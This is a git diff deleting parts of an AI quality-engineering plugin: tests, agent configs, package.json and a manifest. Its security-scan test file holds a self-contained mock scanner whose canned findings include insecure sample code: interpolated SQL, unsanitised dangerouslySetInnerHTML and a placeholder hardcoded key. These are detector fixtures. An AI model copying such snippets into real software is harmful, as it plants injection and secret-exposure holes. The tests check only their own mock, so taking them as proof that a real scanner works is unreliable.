- const result = await tool.execute({
- targetPath: '/src/test.ts',
- coverage: {
- target: 85,
- focusGaps: true,
- },
- });
-
- expect(result.success).toBe(true);
- expect(result.summary.targetCoverage).toBe(85);
- });
-
- it('should handle coverage with exclude patterns', async () => {
- const result = await tool.execute({
- targetPath: '/src/test.ts',
- coverage: {
- excludePatterns: ['*.test.ts', '__mocks__/*'],
- },
- });
-
- expect(result.success).toBe(true);
- });
-
- it('should handle all options combined', async () => {
- const result = await tool.execute({
- targetPath: '/src/auth.ts',
- testType: 'unit',
- framework: 'vitest',
- coverage: {
- target: 90,
- focusGaps: true,
- excludePatterns: ['*.d.ts'],
- },
- style: 'london',
- options: {
- includeEdgeCases: true,
- includeMocks: true,
- includeFixtures: true,
- maxTestsPerFunction: 5,
- },
- });
-
- expect(result.success).toBe(true);
- expect(result.tests.length).toBeGreaterThan(0);
- });
-});
diff --git a/v3/plugins/agentic-qe/__tests__/tools/security-scan.test.ts b/v3/plugins/agentic-qe/__tests__/tools/security-scan.test.ts
deleted file mode 100644
index b05c81ab05..0000000000
--- a/v3/plugins/agentic-qe/__tests__/tools/security-scan.test.ts
+++ /dev/null
@@ -1,692 +0,0 @@
-/**
- * Security Scan Tool Tests
- *
- * Tests for the aqe/security-scan MCP tool that provides
- * SAST/DAST security scanning with compliance checking.
- */
-
-import { describe, it, expect, beforeEach, vi } from 'vitest';
-
-// ============================================================================
-// Mock Types
-// ============================================================================
-
-interface SecurityScanInput {
- targetPath: string;
- scanType?: 'sast' | 'dast' | 'both';
- compliance?: string[];
- options?: {
- severity?: 'low' | 'medium' | 'high' | 'critical';
- maxFindings?: number;
- includeRemediation?: boolean;
- timeout?: number;
- };
-}
-
-interface SecurityFinding {
- id: string;
- title: string;
- description: string;
- severity: 'low' | 'medium' | 'high' | 'critical';
- type: string;
- cwe?: string;
- owasp?: string;
- file?: string;
- line?: number;
- code?: string;
- remediation?: string;
- confidence: number;
-}
-
-interface ComplianceResult {
- standard: string;
- passed: number;
- failed: number;
- notApplicable: number;
- findings: string[];
-}
-
-interface SecurityScanOutput {
- success: boolean;
- findings: SecurityFinding[];
- compliance: ComplianceResult[];
- summary: {
- totalFindings: number;
- criticalCount: number;
- highCount: number;
- mediumCount: number;
- lowCount: number;
- scanDuration: number;
- filesScanned: number;
- passedCompliance: boolean;
- };
- errors?: string[];
-}
-
-// ============================================================================
-// Mock Implementation
-// ============================================================================
-
-class MockSecurityScanTool {
- private knownVulnerabilities: SecurityFinding[] = [
- {
- id: 'SEC-001',
- title: 'SQL Injection',
- description: 'Potential SQL injection vulnerability detected',
- severity: 'critical',
- type: 'injection',
- cwe: 'CWE-89',
- owasp: 'A03:2021',
- file: 'src/db/queries.ts',
- line: 45,
- code: 'db.query(`SELECT * FROM users WHERE id = ${userId}`)',
- remediation: 'Use parameterized queries instead of string interpolation',
- confidence: 0.95,
- },
- {
- id: 'SEC-002',
- title: 'Cross-Site Scripting (XSS)',
- description: 'Potential XSS vulnerability in user input rendering',
- severity: 'high',
- type: 'xss',
- cwe: 'CWE-79',
- owasp: 'A03:2021',
- file: 'src/components/UserProfile.tsx',
- line: 23,
- code: '<div dangerouslySetInnerHTML={{ __html: userInput }} />',
- remediation: 'Sanitize user input before rendering or avoid dangerouslySetInnerHTML',
- confidence: 0.9,
- },
- {
- id: 'SEC-003',
- title: 'Hardcoded Secret',
- description: 'Hardcoded API key detected',
- severity: 'high',
- type: 'secrets',
- cwe: 'CWE-798',
- owasp: 'A02:2021',
- file: 'src/config.ts',
- line: 12,
- code: 'const API_KEY = "sk-1234567890abcdef"',
- remediation: 'Move secrets to environment variables',
- confidence: 0.99,
- },
- {
- id: 'SEC-004',
- title: 'Insecure Direct Object Reference',
- description: 'Potential IDOR vulnerability',
- severity: 'medium',
- type: 'access-control',
- cwe: 'CWE-639',
- owasp: 'A01:2021',
- file: 'src/api/users.ts',
- line: 67,
- code: 'getUser(req.params.id)',
- remediation: 'Verify user authorization before accessing resources',
- confidence: 0.7,
- },
- {
- id: 'SEC-005',
- title: 'Missing Rate Limiting',
- description: 'API endpoint without rate limiting',
- severity: 'low',
- type: 'dos',
- cwe: 'CWE-770',
- owasp: 'A04:2021',
- file: 'src/api/auth.ts',
- line: 15,
- remediation: 'Implement rate limiting middleware',
- confidence: 0.6,
- },
- ];
-
- async execute(input: SecurityScanInput): Promise<SecurityScanOutput> {
- const startTime = Date.now();
-
- // Validate input
- const errors = this.validateInput(input);
- if (errors.length > 0) {
- return this.createErrorResponse(errors);
- }
-
- // Filter findings based on options
- let findings = this.filterFindings(input);
-
- // Add remediation if requested
- if (input.options?.includeRemediation === false) {
- findings = findings.map((f) => {
- const { remediation, ...rest } = f;
- return rest as SecurityFinding;
- });
- }
-
- // Limit findings
- if (input.options?.maxFindings) {
- findings = findings.slice(0, input.options.maxFindings);
- }
-
- // Check compliance
- const compliance = this.checkCompliance(findings, input.compliance ?? []);
-
- const duration = Date.now() - startTime;
-
- return {
- success: true,
- findings,
- compliance,
- summary: this.generateSummary(findings, compliance, duration),
- };
- }
-
- private validateInput(input: SecurityScanInput): string[] {
- const errors: string[] = [];
-
- if (!input.targetPath) {
- errors.push('targetPath is required');
- }
-
- if (input.targetPath && !input.targetPath.match(/^[./]/)) {
- errors.push('targetPath must be a valid path');
- }
-
- if (input.options?.timeout && input.options.timeout < 1000) {
- errors.push('timeout must be at least 1000ms');
- }
-
- if (input.options?.maxFindings !== undefined && input.options.maxFindings < 1) {
- errors.push('maxFindings must be at least 1');
- }
-
- return errors;
- }
-
- private filterFindings(input: SecurityScanInput): SecurityFinding[] {
- let findings = [...this.knownVulnerabilities];
-
- // Filter by scan type
- if (input.scanType === 'sast') {
- findings = findings.filter((f) => f.file !== undefined);
- } else if (input.scanType === 'dast') {
- // DAST focuses on runtime vulnerabilities
- findings = findings.filter((f) => ['injection', 'xss', 'access-control'].includes(f.type));
- }
-
- // Filter by severity
- if (input.options?.severity) {
- const severityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
- const minSeverity = severityOrder[input.options.severity];
- findings = findings.filter((f) => severityOrder[f.severity] <= minSeverity);
- }
-
- return findings;
- }
-
- private checkCompliance(
- findings: SecurityFinding[],
- standards: string[]
- ): ComplianceResult[] {
- const results: ComplianceResult[] = [];
-
- for (const standard of standards) {
- const result = this.checkStandard(standard, findings);
- results.push(result);
- }
-
- return results;
- }
-
- private checkStandard(standard: string, findings: SecurityFinding[]): ComplianceResult {
- const standardLower = standard.toLowerCase();
-
- if (standardLower.includes('owasp')) {
- const owaspFindings = findings.filter((f) => f.owasp);
- return {
- standard,
- passed: 10 - owaspFindings.length,
- failed: owaspFindings.length,
- notApplicable: 0,
- findings: owaspFindings.map((f) => f.id),
- };
- }
-
- if (standardLower.includes('sans')) {
- const criticalFindings = findings.filter(
- (f) => f.severity === 'critical' || f.severity === 'high'
- );
- return {
- standard,
- passed: 25 - criticalFindings.length,
- failed: criticalFindings.length,
- notApplicable: 0,
- findings: criticalFindings.map((f) => f.id),
- };
- }
-
- // Generic compliance check
- return {
- standard,
- passed: 20 - findings.length,
- failed: findings.length,
- notApplicable: 0,
- findings: findings.map((f) => f.id),
- };
- }
-
- private generateSummary(
- findings: SecurityFinding[],
- compliance: ComplianceResult[],
- duration: number
- ): SecurityScanOutput['summary'] {
- const criticalCount = findings.filter((f) => f.severity === 'critical').length;
- const highCount = findings.filter((f) => f.severity === 'high').length;
- const mediumCount = findings.filter((f) => f.severity === 'medium').length;
- const lowCount = findings.filter((f) => f.severity === 'low').length;
-
- const passedCompliance = compliance.every((c) => c.failed === 0);
-
- return {
- totalFindings: findings.length,
- criticalCount,
- highCount,
- mediumCount,
- lowCount,
- scanDuration: duration,
- filesScanned: 42, // Mock value
- passedCompliance,
- };
- }
-
- private createErrorResponse(errors: string[]): SecurityScanOutput {
- return {
- success: false,
- findings: [],
- compliance: [],
- summary: {
- totalFindings: 0,
- criticalCount: 0,
- highCount: 0,
- mediumCount: 0,
- lowCount: 0,
- scanDuration: 0,
- filesScanned: 0,
- passedCompliance: false,
- },
- errors,
- };
- }
-}
-
-// ============================================================================
-// Tests
-// ============================================================================
-
-describe('SecurityScanTool', () => {
- let tool: MockSecurityScanTool;
-
- beforeEach(() => {
- tool = new MockSecurityScanTool();
- });
-
- describe('input validation', () => {
- it('should require targetPath', async () => {
- const result = await tool.execute({ targetPath: '' });
-
- expect(result.success).toBe(false);
- expect(result.errors).toContain('targetPath is required');
- });
-
- it('should validate targetPath format', async () => {
- const result = await tool.execute({ targetPath: 'invalid' });
-
- expect(result.success).toBe(false);
- expect(result.errors.some(e => e.includes('valid path'))).toBe(true);
- });
-
- it('should accept valid paths', async () => {
- const relativeResult = await tool.execute({ targetPath: './src' });
- const absoluteResult = await tool.execute({ targetPath: '/workspace/src' });
-
- expect(relativeResult.success).toBe(true);
- expect(absoluteResult.success).toBe(true);
- });
-
- it('should validate timeout minimum', async () => {
- const result = await tool.execute({
- targetPath: './src',
- options: { timeout: 500 },
- });
-
- expect(result.success).toBe(false);
- expect(result.errors.some(e => e.includes('timeout'))).toBe(true);
- });
-
- it('should validate maxFindings minimum', async () => {
- const result = await tool.execute({
- targetPath: './src',
- options: { maxFindings: 0 },
- });
-
- expect(result.success).toBe(false);
- expect(result.errors.some(e => e.includes('maxFindings'))).toBe(true);
- });
- });
-
- describe('finding detection', () => {
- it('should detect security findings', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- expect(result.success).toBe(true);
- expect(result.findings.length).toBeGreaterThan(0);
- });
-
- it('should include finding ID', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- for (const finding of result.findings) {
- expect(finding.id).toBeTruthy();
- expect(finding.id).toMatch(/^SEC-/);
- }
- });
-
- it('should include finding title and description', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- for (const finding of result.findings) {
- expect(finding.title).toBeTruthy();
- expect(finding.description).toBeTruthy();
- }
- });
-
- it('should include severity level', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- for (const finding of result.findings) {
- expect(['low', 'medium', 'high', 'critical']).toContain(finding.severity);
- }
- });
-
- it('should include CWE reference when available', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- const findingsWithCwe = result.findings.filter((f) => f.cwe);
- expect(findingsWithCwe.length).toBeGreaterThan(0);
-
- for (const finding of findingsWithCwe) {
- expect(finding.cwe).toMatch(/^CWE-\d+$/);
- }
- });
-
- it('should include OWASP reference when available', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- const findingsWithOwasp = result.findings.filter((f) => f.owasp);
- expect(findingsWithOwasp.length).toBeGreaterThan(0);
- });
-
- it('should include file and line for SAST findings', async () => {
- const result = await tool.execute({
- targetPath: './src',
- scanType: 'sast',
- });
-
- for (const finding of result.findings) {
- expect(finding.file).toBeTruthy();
- expect(finding.line).toBeGreaterThan(0);
- }
- });
-
- it('should include confidence score', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- for (const finding of result.findings) {
- expect(finding.confidence).toBeGreaterThan(0);
- expect(finding.confidence).toBeLessThanOrEqual(1);
- }
- });
-
- it('should include remediation by default', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- const findingsWithRemediation = result.findings.filter((f) => f.remediation);
- expect(findingsWithRemediation.length).toBeGreaterThan(0);
- });
-
- it('should exclude remediation when disabled', async () => {
- const result = await tool.execute({
- targetPath: './src',
- options: { includeRemediation: false },
- });
-
- const findingsWithRemediation = result.findings.filter((f) => f.remediation);
- expect(findingsWithRemediation.length).toBe(0);
- });
- });
-
- describe('scan type filtering', () => {
- it('should default to both scan types', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- expect(result.findings.length).toBeGreaterThan(0);
- });
-
- it('should filter for SAST only', async () => {
- const result = await tool.execute({
- targetPath: './src',
- scanType: 'sast',
- });
-
- // All findings should have file references
- expect(result.findings.every((f) => f.file !== undefined)).toBe(true);
- });
-
- it('should filter for DAST only', async () => {
- const result = await tool.execute({
- targetPath: './src',
- scanType: 'dast',
- });
-
- // DAST focuses on runtime vulnerabilities
- const dastTypes = ['injection', 'xss', 'access-control'];
- expect(result.findings.every((f) => dastTypes.includes(f.type))).toBe(true);
- });
- });
-
- describe('severity filtering', () => {
- it('should filter by severity threshold', async () => {
- const criticalResult = await tool.execute({
- targetPath: './src',
- options: { severity: 'critical' },
- });
-
- const highResult = await tool.execute({
- targetPath: './src',
- options: { severity: 'high' },
- });
-
- expect(criticalResult.findings.length).toBeLessThanOrEqual(highResult.findings.length);
- expect(criticalResult.findings.every((f) => f.severity === 'critical')).toBe(true);
- });
-
- it('should include critical and high for high threshold', async () => {
- const result = await tool.execute({
- targetPath: './src',
- options: { severity: 'high' },
- });
-
- expect(result.findings.every((f) => f.severity === 'critical' || f.severity === 'high')).toBe(
- true
- );
- });
- });
-
- describe('compliance checking', () => {
- it('should check OWASP compliance', async () => {
- const result = await tool.execute({
- targetPath: './src',
- compliance: ['owasp-top-10'],
- });
-
- expect(result.compliance.length).toBe(1);
- expect(result.compliance[0].standard).toBe('owasp-top-10');
- expect(result.compliance[0].passed).toBeDefined();
- expect(result.compliance[0].failed).toBeDefined();
- });
-
- it('should check SANS compliance', async () => {
- const result = await tool.execute({
- targetPath: './src',
- compliance: ['sans-25'],
- });
-
- expect(result.compliance.length).toBe(1);
- expect(result.compliance[0].standard).toBe('sans-25');
- });
-
- it('should check multiple standards', async () => {
- const result = await tool.execute({
- targetPath: './src',
- compliance: ['owasp-top-10', 'sans-25'],
- });
-
- expect(result.compliance.length).toBe(2);
- });
-
- it('should link findings to compliance failures', async () => {
- const result = await tool.execute({
- targetPath: './src',
- compliance: ['owasp-top-10'],
- });
-
- expect(result.compliance[0].findings).toBeDefined();
- expect(Array.isArray(result.compliance[0].findings)).toBe(true);
- });
- });
-
- describe('summary generation', () => {
- it('should include total finding count', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- expect(result.summary.totalFindings).toBe(result.findings.length);
- });
-
- it('should count findings by severity', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- const critical = result.findings.filter((f) => f.severity === 'critical').length;
- const high = result.findings.filter((f) => f.severity === 'high').length;
- const medium = result.findings.filter((f) => f.severity === 'medium').length;
- const low = result.findings.filter((f) => f.severity === 'low').length;
-
- expect(result.summary.criticalCount).toBe(critical);
- expect(result.summary.highCount).toBe(high);
- expect(result.summary.mediumCount).toBe(medium);
- expect(result.summary.lowCount).toBe(low);
- });
-
- it('should report scan duration', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- expect(result.summary.scanDuration).toBeGreaterThanOrEqual(0);
- });
-
- it('should report files scanned', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- expect(result.summary.filesScanned).toBeGreaterThan(0);
- });
-
- it('should report compliance status', async () => {
- const result = await tool.execute({
- targetPath: './src',
- compliance: ['owasp-top-10'],
- });
-
- expect(typeof result.summary.passedCompliance).toBe('boolean');
- });
- });
-
- describe('finding limits', () => {
- it('should respect maxFindings limit', async () => {
- const result = await tool.execute({
- targetPath: './src',
- options: { maxFindings: 2 },
- });
-
- expect(result.findings.length).toBeLessThanOrEqual(2);
- });
-
- it('should return all findings when no limit', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- expect(result.findings.length).toBeGreaterThan(2);
- });
- });
-});
-
-describe('SecurityScanTool Common Vulnerabilities', () => {
- let tool: MockSecurityScanTool;
-
- beforeEach(() => {
- tool = new MockSecurityScanTool();
- });
-
- it('should detect SQL injection', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- const sqlInjection = result.findings.find(
- (f) => f.type === 'injection' && f.title.includes('SQL')
- );
- expect(sqlInjection).toBeDefined();
- expect(sqlInjection?.severity).toBe('critical');
- expect(sqlInjection?.cwe).toBe('CWE-89');
- });
-
- it('should detect XSS vulnerabilities', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- const xss = result.findings.find((f) => f.type === 'xss');
- expect(xss).toBeDefined();
- expect(xss?.cwe).toBe('CWE-79');
- });
-
- it('should detect hardcoded secrets', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- const secrets = result.findings.find((f) => f.type === 'secrets');
- expect(secrets).toBeDefined();
- expect(secrets?.confidence).toBeGreaterThan(0.9);
- });
-
- it('should detect access control issues', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- const accessControl = result.findings.find((f) => f.type === 'access-control');
- expect(accessControl).toBeDefined();
- });
-});
-
-describe('SecurityScanTool Performance', () => {
- let tool: MockSecurityScanTool;
-
- beforeEach(() => {
- tool = new MockSecurityScanTool();
- });
-
- it('should complete scan in reasonable time', async () => {
- const startTime = performance.now();
-
- const result = await tool.execute({ targetPath: './src' });
-
- const duration = performance.now() - startTime;
-
- expect(result.success).toBe(true);
- // Should complete in under 100ms for mock
- expect(duration).toBeLessThan(100);
- });
-
- it('should report scan duration in summary', async () => {
- const result = await tool.execute({ targetPath: './src' });
-
- expect(result.summary.scanDuration).toBeGreaterThanOrEqual(0);
- });
-});
diff --git a/v3/plugins/agentic-qe/agents/architect.yaml b/v3/plugins/agentic-qe/agents/architect.yaml
deleted file mode 100644
index 8196b1c881..0000000000
--- a/v3/plugins/agentic-qe/agents/architect.yaml
+++ /dev/null
@@ -1,11 +0,0 @@
-# architect agent configuration
-type: architect
-version: "3.0.0"
-capabilities:
- - system-design
- - api-design
- - documentation
-optimizations:
- - context-caching
- - memory-persistence
-createdAt: "2026-01-24T00:00:49.980Z"
diff --git a/v3/plugins/agentic-qe/agents/coder.yaml b/v3/plugins/agentic-qe/agents/coder.yaml
deleted file mode 100644
index 73e3bc5883..0000000000
--- a/v3/plugins/agentic-qe/agents/coder.yaml
+++ /dev/null
@@ -1,11 +0,0 @@
-# coder agent configuration
-type: coder
-version: "3.0.0"
-capabilities:
- - code-generation
- - refactoring
- - debugging
-optimizations:
- - flash-attention
- - token-reduction
-createdAt: "2026-01-24T00:00:49.980Z"
diff --git a/v3/plugins/agentic-qe/agents/reviewer.yaml b/v3/plugins/agentic-qe/agents/reviewer.yaml
deleted file mode 100644
index b4c4f4e405..0000000000
--- a/v3/plugins/agentic-qe/agents/reviewer.yaml
+++ /dev/null
@@ -1,10 +0,0 @@
-# reviewer agent configuration
-type: reviewer
-version: "3.0.0"
-capabilities:
- - code-review
- - quality-analysis
- - best-practices
-optimizations:
- - incremental-analysis
-createdAt: "2026-01-24T00:00:49.981Z"
diff --git a/v3/plugins/agentic-qe/agents/security-architect.yaml b/v3/plugins/agentic-qe/agents/security-architect.yaml
deleted file mode 100644
index 62d97b47b4..0000000000
--- a/v3/plugins/agentic-qe/agents/security-architect.yaml
+++ /dev/null
@@ -1,10 +0,0 @@
-# security-architect agent configuration
-type: security-architect
-version: "3.0.0"
-capabilities:
- - threat-modeling
- - vulnerability-analysis
- - security-review
-optimizations:
- - pattern-matching
-createdAt: "2026-01-24T00:00:49.980Z"
diff --git a/v3/plugins/agentic-qe/agents/tester.yaml b/v3/plugins/agentic-qe/agents/tester.yaml
deleted file mode 100644
index e8f0f26555..0000000000
--- a/v3/plugins/agentic-qe/agents/tester.yaml
+++ /dev/null
@@ -1,10 +0,0 @@
-# tester agent configuration
-type: tester
-version: "3.0.0"
-capabilities:
- - unit-testing
- - integration-testing
- - coverage
-optimizations:
- - parallel-execution
-createdAt: "2026-01-24T00:00:49.980Z"
diff --git a/v3/plugins/agentic-qe/package.json b/v3/plugins/agentic-qe/package.json
deleted file mode 100644
index 7222436776..0000000000
--- a/v3/plugins/agentic-qe/package.json
+++ /dev/null
@@ -1,96 +0,0 @@
-{
- "name": "@claude-flow/plugin-agentic-qe",
- "version": "3.0.0-alpha.5",
- "description": "Quality Engineering plugin for Ruflo V3 with 51 specialized agents across 12 DDD bounded contexts",
- "type": "module",
- "main": "./dist/index.js",
- "types": "./dist/index.d.ts",
- "exports": {
- ".": {
- "types": "./dist/index.d.ts",
- "import": "./dist/index.js"
- }
- },
- "files": [
- "dist",
- "agents",
- "skills",
- "plugin.yaml",
- "README.md"
- ],
- "scripts": {
- "build": "tsc",
- "build:watch": "tsc --watch",
- "clean": "rm -rf dist",
- "type-check": "tsc --noEmit",
- "lint": "eslint src/**/*.ts",
- "test": "vitest run",
- "test:watch": "vitest"
- },
- "keywords": [
- "claude-flow",
- "plugin",
- "quality-engineering",
- "testing",
- "coverage",
- "tdd",
- "security",
- "chaos-engineering",
- "accessibility",
- "ai-agents"
- ],
- "author": "rUv",
- "license": "MIT",
- "repository": {
- "type": "git",
- "url": "https://github.com/ruvnet/ruflo.git",
- "directory": "v3/plugins/agentic-qe"
- },
- "homepage": "https://github.com/ruvnet/ruflo/tree/main/v3/plugins/agentic-qe",
- "bugs": {
- "url": "https://github.com/ruvnet/ruflo/issues"
- },
- "dependencies": {
- "zod": "^3.23.0"
- },
- "peerDependencies": {
- "@claude-flow/plugins": ">=3.0.0-0",
- "@claude-flow/memory": ">=3.0.0-0",
- "@claude-flow/security": ">=3.0.0-0",
- "@claude-flow/embeddings": ">=3.0.0-0"
- },
- "peerDependenciesMeta": {
- "@claude-flow/plugins": {
- "optional": true
- },
- "@claude-flow/memory": {
- "optional": true
- },
- "@claude-flow/security": {
- "optional": true
- },
- "@claude-flow/embeddings": {
- "optional": true
- },
- "@claude-flow/browser": {
- "optional": true
- },
- "@ruvector/attention": {
- "optional": true
- },
- "@ruvector/gnn": {
- "optional": true
- },
- "@ruvector/sona": {
- "optional": true
- }
- },
- "devDependencies": {
- "@types/node": "^20.0.0",
- "typescript": "^5.5.0",
- "vitest": "^2.0.0"
- },
- "engines": {
- "node": ">=20.0.0"
- }
-}
diff --git a/v3/plugins/agentic-qe/plugin.yaml b/v3/plugins/agentic-qe/plugin.yaml
deleted file mode 100644
index ff260fc554..0000000000
--- a/v3/plugins/agentic-qe/plugin.yaml
+++ /dev/null
@@ -1,1095 +0,0 @@
-# agentic-qe Plugin Manifest
-# Quality Engineering plugin for Claude Flow V3
-
-name: agentic-qe
-version: 3.5.59
-description: |
- Comprehensive Quality Engineering plugin with 51 specialized agents
- across 12 DDD bounded contexts. Features AI-powered test generation,
- O(log n) coverage analysis, defect prediction, security compliance,
- contract testing, visual/accessibility testing, and chaos engineering.
-
-author: rUv
-license: MIT
-homepage: https://github.com/ruvnet/ruflo/tree/main/v3/plugins/agentic-qe
-repository: https://github.com/ruvnet/ruflo
-
-# Plugin metadata
-metadata:
- category: quality-engineering
- tags:
- - testing
- - quality
- - coverage
- - security
- - tdd
- - bdd
- - chaos-engineering
- - accessibility
- stability: stable
- minClaudeFlowVersion: "3.5.0"
-
-# Dependencies
-dependencies:
- required:
- - "@claude-flow/plugins": ">=3.0.0"
- - "@claude-flow/memory": ">=3.0.0"
- - "@claude-flow/security": ">=3.0.0"
- - "@claude-flow/embeddings": ">=3.0.0"
- optional:
- - "@claude-flow/browser": ">=3.0.0" # For E2E/visual testing
- - "@ruvector/attention": ">=1.0.0" # Enhanced pattern matching
- - "@ruvector/gnn": ">=1.0.0" # Code graph analysis
- - "@ruvector/sona": ">=1.0.0" # Self-optimizing learning
-
-# Bounded contexts and their agents
-contexts:
- test-generation:
- description: AI-powered test creation across paradigms
- agents:
- - unit-test-generator
- - integration-test-generator
- - e2e-test-generator
- - property-test-generator
- - mutation-test-generator
- - fuzz-test-generator
- - api-test-generator
- - performance-test-generator
- - security-test-generator
- - accessibility-test-generator
- - contract-test-generator
- - bdd-test-generator
- memoryNamespace: aqe/v3/test-patterns
- securityLevel: medium
-
- test-execution:
- description: Parallel test execution with retry and reporting
- agents:
- - test-runner
- - parallel-executor
- - retry-manager
- - result-aggregator
- - flaky-test-detector
- - timeout-manager
- - resource-allocator
- - test-reporter
- memoryNamespace: aqe/v3/test-execution
- securityLevel: high # Executes code
-
- coverage-analysis:
- description: O(log n) gap detection using Johnson-Lindenstrauss
- agents:
- - coverage-collector
- - gap-detector
- - priority-ranker
- - hotspot-analyzer
- - trend-tracker
- - impact-assessor
- memoryNamespace: aqe/v3/coverage-data
- securityLevel: low
-
- quality-assessment:
- description: Quality gates and release readiness decisions
- agents:
- - quality-gate-evaluator
- - readiness-assessor
- - risk-calculator
- - metric-aggregator
- - decision-maker
- memoryNamespace: aqe/v3/quality
- securityLevel: low
-
- defect-intelligence:
- description: ML-based defect prediction and root cause analysis
- agents:
- - defect-predictor
- - root-cause-analyzer
- - pattern-detector
- - regression-tracker
- memoryNamespace: aqe/v3/defect-patterns
- securityLevel: low
-
- requirements-validation:
- description: BDD validation and testability analysis
- agents:
- - bdd-validator
- - testability-analyzer
- - requirement-tracer
- memoryNamespace: aqe/v3/requirements
- securityLevel: low
-
- code-intelligence:
- description: Knowledge graph and semantic code search
- agents:
- - knowledge-graph-builder
- - semantic-searcher
- - dependency-analyzer
- - complexity-assessor
- - pattern-miner
- memoryNamespace: aqe/v3/code-knowledge
- securityLevel: medium
-
- security-compliance:
- description: SAST, DAST, and compliance auditing
- agents:
- - sast-scanner
- - dast-scanner
- - audit-trail-manager
- - compliance-checker
- memoryNamespace: aqe/v3/security-findings
- securityLevel: critical
-
- contract-testing:
- description: API contract validation (OpenAPI, GraphQL, gRPC)
- agents:
- - openapi-validator
- - graphql-validator
- - grpc-validator
- memoryNamespace: aqe/v3/contracts
- securityLevel: medium
-
- visual-accessibility:
- description: Visual regression and WCAG compliance testing
- agents:
- - visual-regression-detector
- - wcag-checker
- - screenshot-differ
- memoryNamespace: aqe/v3/visual-baselines
- securityLevel: medium
-
- chaos-resilience:
- description: Chaos engineering and resilience validation
- agents:
- - chaos-injector
- - load-generator
- - resilience-assessor
- - recovery-validator
- memoryNamespace: aqe/v3/chaos-experiments
- securityLevel: critical # Can disrupt systems
-
- learning-optimization:
- description: Cross-domain transfer learning and optimization
- agents:
- - cross-domain-learner
- - pattern-optimizer
- memoryNamespace: aqe/v3/learning-trajectories
- securityLevel: low
-
-# TDD subagents (London-style red-green-refactor)
-tdd:
- style: london
- subagents:
- - requirement-analyzer
- - test-designer
- - red-phase-executor
- - green-phase-implementer
- - refactor-advisor
- - coverage-verifier
- - cycle-coordinator
- maxCycles: 10
- defaultFramework: vitest
-
-# MCP tool registration
-mcpTools:
- # Test Generation
- - name: generate-tests
- category: test-generation
- description: Generate tests for code using AI-powered test generation
-
- - name: tdd-cycle
- category: test-generation
- description: Execute TDD red-green-refactor cycle with 7 specialized subagents
-
- # Coverage Analysis
- - name: analyze-coverage
- category: coverage-analysis
- description: Analyze code coverage with O(log n) gap detection
-
- - name: prioritize-gaps
- category: coverage-analysis
- description: Prioritize coverage gaps by risk score
-
- # Quality Assessment
- - name: evaluate-quality-gate
- category: quality-assessment
- description: Evaluate quality gates for release readiness
-
- - name: assess-readiness
- category: quality-assessment
- description: Determine release readiness with confidence score
-
- # Defect Intelligence
- - name: predict-defects
- category: defect-intelligence
- description: Predict potential defects using ML-based analysis
-
- - name: analyze-root-cause
- category: defect-intelligence
- description: Analyze root cause of defect with pattern matching
-
- # Security Compliance
- - name: security-scan
- category: security-compliance
- description: Run SAST/DAST security scans with compliance checking
-
- - name: audit-compliance
- category: security-compliance
- description: Generate compliance audit report
-
- # Contract Testing
- - name: validate-contract
- category: contract-testing
- description: Validate API contracts (OpenAPI, GraphQL, gRPC)
-
- - name: compare-contracts
- category: contract-testing
- description: Compare contract versions for breaking changes
-
- # Visual/Accessibility
- - name: visual-regression
- category: visual-accessibility
- description: Detect visual regressions with screenshot comparison
-
- - name: check-accessibility
- category: visual-accessibility
- description: Check WCAG accessibility compliance
-
- # Chaos Engineering
- - name: chaos-inject
- category: chaos-resilience
- description: Inject chaos failures for resilience testing
-
- - name: assess-resilience
- category: chaos-resilience
- description: Assess system resilience from experiment results
-
-# Hook definitions
-hooks:
- # Pre-execution hooks
- pre-test-execution:
- description: Validate test environment before execution
- priority: high
-
- pre-security-scan:
- description: Validate scan targets and permissions
- priority: critical
-
- # Post-execution hooks
- post-test-execution:
- description: Store test results and learn patterns
- priority: normal
-
- post-coverage-analysis:
- description: Store coverage data and update trends
- priority: normal
-
- post-security-scan:
- description: Store findings and update compliance status
- priority: high
-
-# Worker definitions
-workers:
- test-executor:
- type: test-executor
- capabilities:
- - test-execution
- - parallel-processing
- maxConcurrent: 10
-
- coverage-analyzer:
- type: coverage-analyzer
- capabilities:
- - coverage-collection
- - gap-detection
- maxConcurrent: 5
-
- security-scanner:
- type: security-scanner
- capabilities:
- - sast
- - dast
- maxConcurrent: 3
-
-# Memory namespaces
-memory:
- namespaces:
- - name: aqe/v3/test-patterns
- vectorDimension: 384
- hnswConfig:
- m: 16
- efConstruction: 200
- efSearch: 100
- ttl: null # Permanent
-
- - name: aqe/v3/coverage-data
- vectorDimension: 384
- hnswConfig:
- m: 12
- efConstruction: 150
- efSearch: 50
- ttl: 86400000 # 24h
-
- - name: aqe/v3/defect-patterns
- vectorDimension: 384
- hnswConfig:
- m: 16
- efConstruction: 200
- efSearch: 100
- ttl: null # Permanent
-
- - name: aqe/v3/code-knowledge
- vectorDimension: 384
- hnswConfig:
- m: 24
- efConstruction: 300
- efSearch: 150
- ttl: null # Permanent
-
- - name: aqe/v3/security-findings
- vectorDimension: 384
- hnswConfig:
- m: 16
- efConstruction: 200
- efSearch: 100
- ttl: null # Permanent
-
- - name: aqe/v3/contracts
- vectorDimension: 384
- hnswConfig:
- m: 12
- efConstruction: 150
- efSearch: 50
- ttl: null # Permanent
-
- - name: aqe/v3/visual-baselines
- vectorDimension: 768 # Higher for images
- hnswConfig:
- m: 32
- efConstruction: 400
- efSearch: 200
- ttl: null # Permanent
-
- - name: aqe/v3/chaos-experiments
- vectorDimension: 384
- hnswConfig:
- m: 12
- efConstruction: 150
- efSearch: 50
- ttl: 604800000 # 7 days
-
- - name: aqe/v3/learning-trajectories
